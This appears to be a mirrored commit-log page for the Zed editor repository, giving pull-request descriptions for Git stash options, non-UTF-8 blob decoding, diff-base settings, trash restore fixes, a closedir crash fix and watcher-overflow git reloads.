mirror of
https://github.com/zed-industries/zed.git
synced 2026-08-23 16:04:45 +00:00
417 commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
4bdf188c99
|
Added Tracked , Staged options to stash (#62254)
# Objective Closes #62252 The Git Panel could only stash *everything* — `Stash All` runs `git stash push --include-untracked`, sweeping tracked edits and untracked files into a single entry. There was no way to stash a subset, so the common workflows of "park my tracked edits but keep my new scratch files" and "park what I've staged and keep working on the rest" required dropping to the terminal. ## Images <img width="389" height="358" alt="Screenshot 2026-08-10 at 3 10 50 PM" src="https://github.com/user-attachments/assets/18e4c943-e320-4802-ada8-59e54bf4cefd" /> <img width="504" height="462" alt="Screenshot 2026-08-10 at 3 10 37 PM" src="https://github.com/user-attachments/assets/783237eb-980d-47bc-a0f5-17b03a23a60c" /> ## Solution Add two stash variants alongside `Stash All`, surfaced in the Git Panel's overflow menu based on how the list is currently grouped, so the menu mirrors the sections the user can actually see: | Group By | Stash entries offered | | --- | --- | | None | Stash All | | Tracked & Untracked | Stash All, **Stash Tracked** | | Staged & Unstaged | Stash All, **Stash Staged** | - **`git::StashTracked`** stashes tracked changes and leaves untracked files in place. It reuses the existing pathspec plumbing (`Repository::stash_entries`), filtering the status list down to the paths to stash. - **`git::StashStaged`** stashes the index only, leaving unstaged changes in place. This *cannot* be expressed as a pathspec — a partially staged file would have its unstaged hunks stashed too — so it needs git's own `--staged` flag. That meant a new `GitRepository::stash_staged` backend method and an `optional bool staged` field on `proto::Stash` so remote projects work too. Both actions are unbound by default and are dispatchable from the command palette when the panel is focused. One subtlety worth calling out for review: `Stash Tracked` filters on `FileStatus::is_created()`, not `is_untracked()`. Staging a new file flips it from `Untracked` to `Tracked { Added }`, but the panel still lists it under **Untracked** — using `is_untracked()` meant staged-new files were silently stashed. `is_created()` is the same predicate the panel uses to build that section (`git_panel.rs`), so the menu item and the list can no longer disagree. This branch also includes a separate commit adding **per-section staging** (`git::StageSection` / `git::UnstageSection`) — right-click a file to stage or unstage every entry in its section. Happy to split that into its own PR if preferred. ## Testing Manually tested on macOS against a scratch repo with a mix of states: modified tracked files, untracked files, and untracked files that had been staged. - `Stash Tracked` with tracked edits + untracked files → only tracked edits stashed; untracked files remain. - `Stash Tracked` with untracked files **staged** → they remain, staged. This was broken in an earlier revision and drove the `is_created()` fix above. - `Stash Staged` with one file staged and another modified-but-unstaged → only the staged file is stashed; the unstaged edit and untracked files survive. - `Stash Pop` round-trips both cases back to the original state, with no conflicts. - Menu contents and disabled states verified in all three Group By modes. - Per-section staging covered by a new unit test, `test_stage_section_scopes_to_selected_section`. Not covered by automated tests: the stash actions themselves. `FakeGitRepository` leaves every stash method `unimplemented!()`, so stash behavior isn't reachable from GPUI tests today — consistent with the existing untested `StashAll`. Adding fake-repo stash support looks like a worthwhile follow-up but felt out of scope here. Reviewers on non-macOS platforms: nothing here is platform-specific. Note that `Stash Staged` requires **git 2.35+** (Jan 2022) for `git stash push --staged`; older git surfaces a clear error toast rather than failing opaquely. The remote path (`proto::Stash.staged`) has not been exercised against a live collab session. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Added `Stash Tracked` and `Stash Staged` options to the Git Panel, letting you stash only tracked changes or only staged changes. --------- Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com> |
||
|
|
8968bf7808
|
git: Decode non-UTF-8 blobs for project diffs (#60821)
## Summary Fixes #56449. Related to #16965. Zed’s Git panel and Project Diff build UI diffs from `language::Buffer` diff bases loaded through the Git backend. Git blob loading previously converted bytes with `String::from_utf8(...).ok()`, so legacy-encoded blobs were treated as missing and the whole worktree file appeared newly added. This follows the same encoding path used for worktree buffers: - move shared byte decoding and encoding into `language` - keep Git blob, revision, and index APIs byte-oriented with `Vec<u8>` - decode diff bases and index contents in `GitStore`, where `language::Buffer`s are created - encode index writes using the open buffer’s encoding and BOM so partial staging does not rewrite the file as UTF-8 - keep worktree loading and saving on the same shared implementation Regression coverage includes Windows-1251 decoding/encoding, UTF-8/UTF-16 BOM preservation, raw Windows-1251 Git blob loading, and a `BufferDiffSnapshot` assertion that a one-line CP1251 edit produces one modified-line hunk instead of a full-file rewrite. This does not run Git `textconv` commands. It fixes the reported legacy-encoding case without executing repository-configured commands or modifying working files on disk. ## Testing - `cargo test -p language file_content::tests --locked` - `cargo test -p git repository::tests::test_load_revisions --locked` - `CARGO_INCREMENTAL=0 cargo test -p project git_store::tests::test_decode_git_text_windows_1251_one_line_change --locked` - `CARGO_INCREMENTAL=0 cargo test -p project --test integration test_restaging_hunk_after_optimistic_unstage --locked` - `CARGO_INCREMENTAL=0 cargo check -p project --tests --locked` - `CARGO_INCREMENTAL=0 cargo check -p git_ui --tests --locked` - `cargo fmt --all --check` - `git diff --check` ## Suggested .rules additions - N/A Release Notes: - Fixed Git panel and Project Diff rendering for legacy-encoded text files whose Git blobs are not valid UTF-8. --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
f0685e0a4f
|
Support blaming parent revisions (#62614)
Closes https://github.com/zed-industries/zed/discussions/42583 Adds more tooltip entries and `editor::BlameRevision`, `editor::BlamePreviousRevision` actions to use. Started to highlight gutter blame entries that belong to currently annotated commit. https://github.com/user-attachments/assets/ba754e0b-6431-407c-8d79-2f8b0324fde1 Release Notes: - Supported blaming parent revisions |
||
|
|
c6b01d8a20
|
Add optional message support to git stash (#62439)
Show a modal when invoking the stash action to allow users to provide an optional custom message for the stash entry. Closes #62430 # Image <img width="1622" height="1106" alt="Screenshot 2026-08-10 at 9 14 00 PM" src="https://github.com/user-attachments/assets/0d26dac2-919d-4bb1-b6a7-433ceff18955" /> <img width="1622" height="1106" alt="Screenshot 2026-08-10 at 9 14 11 PM" src="https://github.com/user-attachments/assets/896b68ff-999f-4ec9-a6a4-e0e7a6867286" /> # Objective Zed's stash action runs `git stash push --quiet --include-untracked --` with no `-m`, so every stash is labelled with git's auto-generated `WIP on <branch>: <sha> <subject>`. That text describes the commit you were sitting on, not what you stashed — so two stashes taken from the same commit are indistinguishable. This undercuts the stash picker (`git::ViewStash`), which lists entries as `#<index>: <message>` and fuzzy-searches over exactly that string. The search box already exists; there is just nothing meaningful to search, because every candidate is a variation of the same auto-generated line. ## Solution `git::StashAll` now opens a single-line modal ("Optionally provide a stash message") before stashing. - Confirming with text passes `--message <text>` to `git stash push`. - Confirming with the field empty omits the flag entirely, keeping git's default description — so the prompt is a one-keystroke pass-through and existing muscle memory still works. - Cancelling aborts the stash, so the prompt doubles as a confirmation step. Implementation: - `StashMessageModal` (`Editor::single_line`) in `git_panel.rs`, toggled from `GitPanel::stash_all`. `menu::Confirm` trims the input and maps empty to `None`. - `message: Option<String>` threaded through `Repository::stash_all` → `stash_entries` → `GitRepository::stash_paths`. The flag is appended before the `--` separator so a message is never parsed as a pathspec. - New `message` field on the `Stash` proto message, so remote and collab projects behave identically. One non-obvious detail: the modal is opened via `cx.defer_in` rather than inline. `git::StashAll` is registered on the workspace (`git_ui.rs`) as well as on the panel element, and `Workspace::register_action` dispatches while `Workspace` is leased — so opening the modal inline re-enters that update and hits GPUI's `double_lease_panic`. This only reproduces when focus is *outside* the Git Panel, which makes it easy to miss. `Option<String>` rather than `String` is deliberate: `--message ""` produces a blank stash description, which is strictly worse than git's default. ## Testing Manually verified the modal in a local build on macOS: the prompt appears on `git::StashAll`, accepts a message, and the named entry shows up in the stash picker. Also verified at the git level by replaying the exact argument vector `stash_paths` builds against a scratch repo with mixed staged / unstaged / untracked changes: | Case | Result | |---|---| | `stash push --quiet --include-untracked --message "my named stash" -- <paths>` | `stash@{0}: my named stash`; worktree clean, untracked file included | | same, without `--message` | `stash@{0}: <sha> <subject>` — git's default text | | `--message "x" --` with no paths (clean repo) | exit 0, no stash created — the empty pathspec does **not** stash everything | `cargo fmt --check` clean, `./script/clippy -p git -p fs -p project -p git_ui` passes with `--deny warnings`, and the existing suites pass (`cargo test -p project -p git_ui`, 436 tests). Worth a reviewer's attention: trigger `git::StashAll` with focus in the **editor** rather than the Git Panel. That routes through the workspace action registration and is the case the `cx.defer_in` deferral exists to keep from panicking. No new automated tests — the behavior is testable with the existing `git_panel.rs` harness (`init_test`, `GitPanel::new`) if reviewers would prefer coverage over a manual check. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments — n/a, no unsafe added - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior — no new tests; see Testing - [x] Performance impact has been considered and is acceptable — one extra process argument; no new work on any hot path --- Release Notes: - Added an optional stash message prompt when stashing changes ` --------- Co-authored-by: Chris Biscardi <chris@christopherbiscardi.com> |
||
|
|
1271f8b0e8
|
Bump rustc to 1.97 (#62395)
Some checks failed
extension_auto_bump / detect_changed_extensions (push) Has been cancelled
extension_auto_bump / bump_extension_versions (push) Has been cancelled
Congratsbot / check-author (push) Waiting to run
Congratsbot / congrats (push) Blocked by required conditions
deploy_nightly_docs / deploy_docs (push) Waiting to run
run_tests / check_workspace_binaries (push) Blocked by required conditions
run_tests / orchestrate (push) Waiting to run
run_tests / check_style (push) Waiting to run
run_tests / clippy_windows (push) Blocked by required conditions
run_tests / clippy_linux (push) Blocked by required conditions
run_tests / build_visual_tests_binary (push) Blocked by required conditions
run_tests / check_wasm (push) Blocked by required conditions
run_tests / check_dependencies (push) Blocked by required conditions
run_tests / check_scripts (push) Blocked by required conditions
run_tests / check_postgres_and_protobuf_migrations (push) Blocked by required conditions
run_tests / extension_tests (push) Blocked by required conditions
run_tests / tests_pass (push) Blocked by required conditions
run_tests / clippy_mac (push) Blocked by required conditions
run_tests / clippy_mac_x86_64 (push) Blocked by required conditions
run_tests / run_tests_windows (push) Blocked by required conditions
run_tests / run_tests_linux (push) Blocked by required conditions
run_tests / run_tests_mac (push) Blocked by required conditions
run_tests / miri_scheduler (push) Blocked by required conditions
run_tests / doctests (push) Blocked by required conditions
run_tests / check_docs (push) Blocked by required conditions
run_tests / check_licenses (push) Blocked by required conditions
Release Notes: - N/A |
||
|
|
5e1fd392f6
|
git: Add diff_base setting for showing changes since the default branch (#61501)
Some checks are pending
Congratsbot / check-author (push) Waiting to run
Congratsbot / congrats (push) Blocked by required conditions
deploy_nightly_docs / deploy_docs (push) Waiting to run
run_tests / run_tests_windows (push) Blocked by required conditions
run_tests / check_workspace_binaries (push) Blocked by required conditions
run_tests / check_scripts (push) Blocked by required conditions
run_tests / orchestrate (push) Waiting to run
run_tests / check_style (push) Waiting to run
run_tests / clippy_windows (push) Blocked by required conditions
run_tests / clippy_linux (push) Blocked by required conditions
run_tests / clippy_mac (push) Blocked by required conditions
run_tests / clippy_mac_x86_64 (push) Blocked by required conditions
run_tests / run_tests_linux (push) Blocked by required conditions
run_tests / run_tests_mac (push) Blocked by required conditions
run_tests / miri_scheduler (push) Blocked by required conditions
run_tests / doctests (push) Blocked by required conditions
run_tests / build_visual_tests_binary (push) Blocked by required conditions
run_tests / check_wasm (push) Blocked by required conditions
run_tests / check_dependencies (push) Blocked by required conditions
run_tests / check_docs (push) Blocked by required conditions
run_tests / check_licenses (push) Blocked by required conditions
run_tests / check_postgres_and_protobuf_migrations (push) Blocked by required conditions
run_tests / extension_tests (push) Blocked by required conditions
run_tests / tests_pass (push) Blocked by required conditions
# Objective Let git indicators — the editor gutter, file colors, and `git::Diff` — show all changes on the current branch relative to its merge base with the default branch, instead of only uncommitted changes. Supersedes #60398; thanks to @samuelcolvin for the original implementation and motivation. Closes FR-135 ## Solution - New `git.diff_base` setting (`"head"` | `"default_branch"`), applied live and toggleable per session from the editor controls menu ("Diff Against Default Branch"). - Statuses come from a real merge-base-to-worktree tree diff (`git diff --merge-base`), so local edits that revert branch changes correctly show as unchanged. - `GitStore` shares one `DiffBufferList` per repository with the Branch Diff view; `repo_snapshots` and `project_path_git_status` keep returning index/worktree truth, while display surfaces use separate `display_*` APIs. - `BufferDiff` now records what its base is (`DiffBaseKind`); hunks whose base isn't HEAD are read-only in the gutter — stage/restore buttons and keybindings are inert, so committed work can't be silently rewritten. - `git::Diff` follows the setting; new `git::DiffHead` always opens the HEAD diff; `git::BranchDiff` is renamed `git::DiffBranch` (deprecated alias kept). Tradeoffs / known limitations: - Hunk-level staging is unavailable while in `default_branch` mode (whole-file staging via the git panel still works). Staging just the uncommitted sub-ranges of a branch hunk is a follow-up. - Remote hosts running an older server ignore the new `GetTreeDiff.includes_worktree` proto field and degrade to committed-changes-only branch diffs. - Repositories with no resolvable default branch fall back to HEAD-relative behavior; a failed first resolution retries on the next branch-list change. ## Testing - Real-git-repo tests for the merge-base-to-worktree diff's edge cases: files recreated after index deletion, committed deletions recreated on disk, and symlinks. - GPUI tests for status semantics (a branch change reverted on disk shows clean), `git::Diff` routing, live setting changes, and read-only hunk enforcement (restore/stage leave buffer and index untouched). ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Git: Added a `git.diff_base` setting (`"head"` or `"default_branch"`) that makes the editor gutter, file colors, and diff view show all changes on the current branch since its merge base with the default branch, instead of only uncommitted changes. --------- Co-authored-by: Ben Kunkle <ben@zed.dev> |
||
|
|
f85349be9c
|
fs: Keep trash registry entry when restore fails (#61791)
# Objective A failed restore, for example, a collision at the original path, used to remove the `TrashedEntry` from the registry before attempting the operation, so any later attempt with the same `TrashId` would report an `AlreadyRestored` error, even though the item still sat in the system trash. ## Solution Update both `RealFs::restore` and `FakeFs::restore` to remove the entry only after the restore succeeds. There's also a small unrelated change in `ProjectPanel::drag_onto` to log, rather than silently discard, a failed undo-history record in the project panel, matching existing call sites. ## Testing Introduced a new test for these changes – `restore_can_be_retried_after_collision` . ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - N/A |
||
|
|
ba4cb2a2cc
|
Trim trailing newline from git clone error messages (#61674)
# Objective
When `git clone` fails, the error message produced by git is collected,
propagated, and finally displayed to the user in a pop-up. However, the
pop-up always contains an extra blank line.
The root cause is that Zed builds the error message using simple string
concatenation:
|
||
|
|
8780e3a1e2
|
project_panel: Refactor undo and redo error messages (#60186)
# Objective Improve the error messages shown when undoing or redoing project panel operations fail. Right now we're mostly relying on the error message generated by the underlying function or method that attempts to apply the inverse operation, which might not be the best UX. ## Solution * Update the style used in the `Workspace::show_notification` call, under `project_panel::undo::Inner::show_error`, in order to use markdown styling. This allows paths to stand out a little bit better, which is helpful seeing as pretty much all error messages will contain path information in the notification's body. * Update the way paths are displayed so as to show the full relative path and, if multiple worktrees are present, include the worktree name. This helps disambiguate cases where multiple worktrees might have the same path, for example, `src/lib.rs`. * Update each specific operation's error message to better convey what exactly failed. ## Testing Manually tested each of the scenarios outlined in the `Showcase` section. Please refer to the screenshots in that section to see before and after comparisons ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase ### Undo failures <details> <summary>1. Move conflict</summary> | Steps | Before | After | | --- | --- | --- | | 1. Move `a.txt` into `docs/` (cut/paste or drag)<br>2. Run `touch a.txt`<br>3. Undo | <img width="2736" height="1586" alt="1_before" src="https://github.com/user-attachments/assets/d60660d1-ba85-4a08-82a3-a6e3f6d84506" /> | <img width="2736" height="1586" alt="1_after" src="https://github.com/user-attachments/assets/c050f287-b186-42db-8995-57102d1db4d2" /> | </details> <details> <summary>2. Rename conflict</summary> | Steps | Before | After | | --- | --- | --- | | 1. Rename `a.txt` → `b.txt`<br>2. Run `touch a.txt`<br>3. Undo | <img width="2736" height="1586" alt="2_before" src="https://github.com/user-attachments/assets/0c0eb0bc-ea01-4642-a63a-69687b2ba13e" /> | <img width="2736" height="1586" alt="2_after" src="https://github.com/user-attachments/assets/68dba045-60b2-462e-9f34-5bb038a4a245" /> | </details> <details> <summary>3. Source no longer exists</summary> | Steps | Before | After | | --- | --- | --- | | 1. Move `a.txt` into `docs/`<br>2. Run `rm docs/a.txt`<br>3. Undo | <img width="2736" height="1586" alt="3_before" src="https://github.com/user-attachments/assets/2f55327c-d478-44f5-ac85-5e0b10044a52" /> | <img width="2736" height="1586" alt="3_after" src="https://github.com/user-attachments/assets/5296b431-c2a1-408e-8920-9f2d5c1d169a" /> | </details> <details> <summary>4. Restore from emptied Trash</summary> | Steps | Before | After | | --- | --- | --- | | 1. Delete `a.txt` (moves it to Trash)<br>2. Empty it from the system Trash<br>3. Undo | <img width="2736" height="1586" alt="4_before" src="https://github.com/user-attachments/assets/41966e44-409a-4ae2-ada1-59992658f1b5" /> | <img width="2736" height="1586" alt="4_after" src="https://github.com/user-attachments/assets/f6df01f9-0702-4f28-80aa-eb2289077ea5" /> | </details> <details> <summary>5. Restore collision</summary> | Steps | Before | After | | --- | --- | --- | | 1. Delete `a.txt` (to Trash)<br>2. Run `touch a.txt`<br>3. Undo | <img width="2736" height="1586" alt="5_before" src="https://github.com/user-attachments/assets/f4151e85-7668-4dab-8cf4-b45ef0fdb741" /> | <img width="2736" height="1586" alt="5_after" src="https://github.com/user-attachments/assets/3f25aa56-1b59-4230-9a15-b39a0d280a48" /> | </details> <details> <summary>6. Trash a file that's gone</summary> | Steps | Before | After | | --- | --- | --- | | 1. Create `empty.txt` in the panel<br>2. Run `rm empty.txt`<br>3. Undo | <img width="2736" height="1586" alt="6_before" src="https://github.com/user-attachments/assets/077edeb8-3618-4b72-b49f-9d1cc3a801d5" /> | <img width="2736" height="1586" alt="6_after" src="https://github.com/user-attachments/assets/4b1d6689-93b1-4725-8829-2f71b4b586e9" /> | </details> ### Redo failures <details> <summary>7. Redo a move into an occupied destination</summary> | Steps | Before | After | | --- | --- | --- | | 1. Move `a.txt` into `docs/`, then Undo (file back at root)<br>2. Run `touch docs/a.txt`<br>3. Redo | <img width="2736" height="1586" alt="7_before" src="https://github.com/user-attachments/assets/d6591d08-b0a1-4992-866f-fcc26491ba8c" /> | <img width="2736" height="1586" alt="7_after" src="https://github.com/user-attachments/assets/b46d5fe2-09be-4264-9834-f5965f5f1150" /> | </details> <details> <summary>8. Redo a restore after the Trash was emptied</summary> | Steps | Before | After | | --- | --- | --- | | 1. Create `empty.txt`, then Undo (it gets trashed)<br>2. Empty it from the system Trash<br>3. Redo | <img width="2736" height="1586" alt="8_before" src="https://github.com/user-attachments/assets/9ced2696-1bdf-4b33-aaaf-abc015787505" /> | <img width="2736" height="1586" alt="8_after" src="https://github.com/user-attachments/assets/bfc84fc3-c97f-474d-857c-3d5137d06b83" /> | </details> <details> <summary>9. Redo a re-trash of a deleted file</summary> | Steps | Before | After | | --- | --- | --- | | 1. Delete `a.txt` (to Trash), then Undo (restores it)<br>2. Run `rm a.txt`<br>3. Redo | <img width="2736" height="1586" alt="9_before" src="https://github.com/user-attachments/assets/3152787d-c02c-482e-a70a-600e97a44b3b" /> | <img width="2736" height="1586" alt="9_after" src="https://github.com/user-attachments/assets/7dd40497-0dfc-41fa-a6ac-772562d29258" /> | </details> --- Release Notes: - N/A |
||
|
|
ab92195a02
|
fs: Update trash-rs version (#61721)
# Objective
Update the version of `trash-rs` used in order to contain the fix for
the panic when restoring a non-existing trash item in Linux –
|
||
|
|
30730a305a
|
fs: Fix crash loop from closedir panic during worktree scan (#59953)
Some checks are pending
run_tests / run_tests_windows (push) Blocked by required conditions
run_tests / run_tests_linux (push) Blocked by required conditions
run_tests / run_tests_mac (push) Blocked by required conditions
run_tests / miri_scheduler (push) Blocked by required conditions
run_tests / doctests (push) Blocked by required conditions
run_tests / check_workspace_binaries (push) Blocked by required conditions
run_tests / build_visual_tests_binary (push) Blocked by required conditions
run_tests / check_licenses (push) Blocked by required conditions
run_tests / check_scripts (push) Blocked by required conditions
run_tests / check_postgres_and_protobuf_migrations (push) Blocked by required conditions
run_tests / extension_tests (push) Blocked by required conditions
run_tests / tests_pass (push) Blocked by required conditions
Congratsbot / check-author (push) Waiting to run
Congratsbot / congrats (push) Blocked by required conditions
deploy_nightly_docs / deploy_docs (push) Waiting to run
run_tests / orchestrate (push) Waiting to run
run_tests / check_style (push) Waiting to run
run_tests / clippy_windows (push) Blocked by required conditions
run_tests / clippy_linux (push) Blocked by required conditions
run_tests / clippy_mac (push) Blocked by required conditions
run_tests / clippy_mac_x86_64 (push) Blocked by required conditions
run_tests / check_wasm (push) Blocked by required conditions
run_tests / check_dependencies (push) Blocked by required conditions
run_tests / check_docs (push) Blocked by required conditions
# Objective Fixes #59952. Zed crash-loops on launch. The faulting thread aborts inside the Rust standard library while closing a directory handle during background worktree scanning: `std`'s `DirStream::drop` (`library/std/src/sys/fs/unix.rs`) `assert!`s that `closedir()` succeeds unless the error is `EINTR`. That handle originates in `RealFs::read_dir`, which wraps `std::fs::read_dir(path)` in `stream::iter(...)` and carries the live `ReadDir` across async boundaries; the worktree `BackgroundScanner` (`scan_dir` → `forcibly_load_paths`) later drops the stream. If `closedir()` returns a non-`EINTR` error (e.g. `EBADF` under file-descriptor pressure — seen alongside repeated `unable to start FSEvent stream` warnings on a large dependency tree), `std` panics inside `Drop`. Zed's `crashes::panic_hook` turns any panic into `process::abort()`, and because the same workspace is re-scanned every launch, this is a permanent crash loop. (`catch_unwind` can't help: the hook aborts before unwinding.) ## Solution Stop relying on `std`'s asserting close. Add a `read_dir_entries(path)` helper that reads entries eagerly so the directory handle is opened and closed within a single call: - On unix, read via libc (`opendir`/`readdir`/`closedir`) and **deliberately ignore a failing `closedir`**, so a close error degrades gracefully instead of aborting the process. - On non-unix, keep `std::fs::read_dir` (which has no such assert) but collect eagerly so the handle is dropped within the call. `RealFs::read_dir` now calls this helper. The change is scoped to `crates/fs/src/fs.rs`; the watcher, scanner, and panic hook are untouched. ## Testing - Added unit tests in `crates/fs/src/fs.rs` for `read_dir_entries`: entry listing, `.`/`..` exclusion, empty directories, and the missing-directory error path. - `cargo test -p fs read_dir` → 3 passed. - `RUSTFLAGS="-D warnings" cargo build -p fs`, `cargo clippy -p fs --all-features --all-targets -- -D warnings`, and `cargo fmt -p fs --check` are all clean. - Tested on macOS (aarch64). The `fs` crate compiles within the full `cargo build -p zed` graph. I could not produce a running app binary in my environment (the `gpui_macos` Metal step needs full Xcode, not just Command Line Tools) — reviewers on a full Xcode setup can `cargo run -p zed`. - The original `closedir` `EBADF` is not deterministically reproducible, so the fix is structural rather than verified against a live repro; the tests guard the read path and behavior. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards — N/A (no UI change) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Fixed Zed crash-looping on launch when `closedir` fails during background directory scanning ([#59952](https://github.com/zed-industries/zed/issues/59952)). --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
64672ee816
|
worktree: Reload git state when a watcher rescan covers a repository (#61541)
# Objective When the OS file watcher loses sync (e.g. its event queue overflows under heavy fs churn), it drops pending events and reports a single `Rescan` event for the watched root. Git changes hidden behind such a rescan were silently lost, leaving the git panel and branch indicator stale until something else touched `.git`. Contributes to #13176. May fix #60102, though that report predates #60660 and may already be addressed by it on nightly (see Related PRs below). Two bugs caused this, and they masked each other: 1. **A rescan never triggered a git reload.** The `Rescan` event's path is the worktree root, not something inside `.git`, so it never populated `dot_git_abs_paths` in `process_events` — and since `.git` is excluded from entry scanning, the rescan produced no `.git` events either. The dropped git changes were simply never picked up. 2. **Re-scanning reset `git_dir_scan_id` to 0.** The snapshot diff detects git changes by comparing scan ids, so re-inserting the repository with a fresh id could wipe out a bump made earlier in the same scan cycle, swallowing the corresponding `UpdatedGitRepositories` signal. The masking is why these fixes land together rather than as two PRs: the root-rescan case in `test_dot_git_dir_event_does_not_suppress_children` only passed on `main` because the buggy scan-id reset made the snapshot diff fire spuriously. Fixing either bug alone turns that (currently green) test red. ## Solution - `process_events`: a `Rescan` event now schedules a git state reload for every repository whose git directory (`dot_git`, `common_dir`, or `repository_dir`) lies under the rescanned path, covering linked worktrees and gitfile repositories, including git dirs watched outside the worktree root. - `insert_git_repository_for_path`: carry the existing `git_dir_scan_id` forward when re-inserting a repository instead of resetting it to 0. Deliberately *not* bumped either: re-insertion is snapshot bookkeeping, not evidence of a git change — bumping would trigger spurious full reloads on non-lossy paths (explicit refreshes, path-prefix scans). Only `update_git_repositories` claims that git state changed. - `changed_repos`: a `debug_assert` enforcing that `git_dir_scan_id` never regresses, so future violations of this invariant fail loudly in tests instead of manifesting as a stale git panel. ## Testing New fault-injection infrastructure and tests: - `FakeFs::simulate_watcher_overflow` models the kernel's watch queue overflowing: buffered (undelivered) events are discarded and replaced by a single `Rescan` for the given root, mirroring FSEvents `kFSEventStreamEventFlagMustScanSubDirs`, inotify `IN_Q_OVERFLOW`, and Windows `ERROR_NOTIFY_ENUM_DIR`. - `test_watcher_overflow_rescan_reloads_git_state`: a git change whose events are lost to an overflow must still be picked up via the rescan (reproduces bug 1; fails on `main`). - `test_git_update_in_same_batch_as_rescan_is_not_lost`: a git event processed in the same batch as a rescan must not lose its scan-id bump to the repository re-insertion (reproduces bug 2; fails on `main`). - `test_random_git_updates_with_watcher_overflows`: randomized property test (100 iterations) asserting that every git state change is eventually signaled via `UpdatedGitRepositories` under random event batching, delays, and overflows. Fails on `main` within the first few seeds. - `test_random_worktree_changes` now also injects watcher overflows, extending its existing convergence property to rescan reconciliation of worktree entries (this already passed; the injection guards it going forward). Full `worktree` and `fs` suites pass. Verified the directed tests exercise the intended code paths via trace logging (the same-batch test hits `update_git_repositories` stamping followed by re-insertion, distinct from the overflow test where no `.git` event arrives at all). ## Related PRs The recent stale-git-state reports trace back to three distinct mechanisms that share one symptom. This PR addresses the third: - **Events never generated** — #60660 (merged, in this PR's base): Linux's non-recursive watcher missed nested `refs/` directories, so external commits/fetches produced no events at all. That PR (together with #60590, which explicitly rescans after Zed-initiated reset/fetch and touches only `git_store.rs`) fixed #60348. No overlap with this PR; a merge against current `main` is clean, and the refs-watching tests are disjoint from the overflow/rescan tests added here. - **Events coalesced** — #59876 (open, complementary): FSEvents can merge `.git` child events into a bare `.git` `Changed` event; the signal arrives, in a shape Zed ignores. @RemcoSmitsDev's review comment there describes this PR's failure mode and calls the two fixes complementary; this is effectively the follow-up promised in that comment. Both PRs touch the same region of `process_events`, so whichever lands second needs a trivial rebase, and #59876 flips the bare-`.git` expectation in `test_dot_git_dir_event_does_not_suppress_children` Case 2, which this PR preserves. - **Events dropped** — this PR: the watcher generated events but lost them to a queue overflow, and the resulting `Rescan` did not reach the git reload path. #59976 and #60098 (merged) reduced how often this happens; this PR makes git state recover correctly when it does. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed the git panel and branch indicator showing stale state after heavy file-system activity caused the file watcher to lose events |
||
|
|
775e51f95c
|
Support loading Git commit templates when remote (#55490)
## Summary Fixes the git commit template not loading in remote (SSH) projects. The `load_commit_template_text` method in `git_store.rs` was a no-op for `RepositoryState::Remote`, always returning `Ok(None)`. This patch adds a `LoadCommitTemplate` RPC so the client can ask the remote host to read its `commit.template` git config and return the file contents — mirroring the existing `GetBlobContent` pattern. ## Changes - **`crates/proto/proto/git.proto`** — new `LoadCommitTemplate` / `LoadCommitTemplateResponse` messages. - **`crates/proto/proto/zed.proto`** — registered envelope IDs 449/450. - **`crates/proto/src/proto.rs`** — wired up message priority, request pairing, and entity-message routing. - **`crates/project/src/git_store.rs`** — added `handle_load_commit_template` on the host side; replaced the `Ok(None)` no-op on the remote side with the RPC call. ## Self-Review Checklist - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments — *no unsafe code added* - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) — *no UI changes* - [ ] Tests cover the new/changed behavior — *see "Testing notes" below* - [x] Performance impact has been considered and is acceptable — *one extra RPC on commit panel open for remote projects only; payload is a single optional string* ## Testing notes — why no automated test I did write an integration test (`test_remote_git_commit_template` in 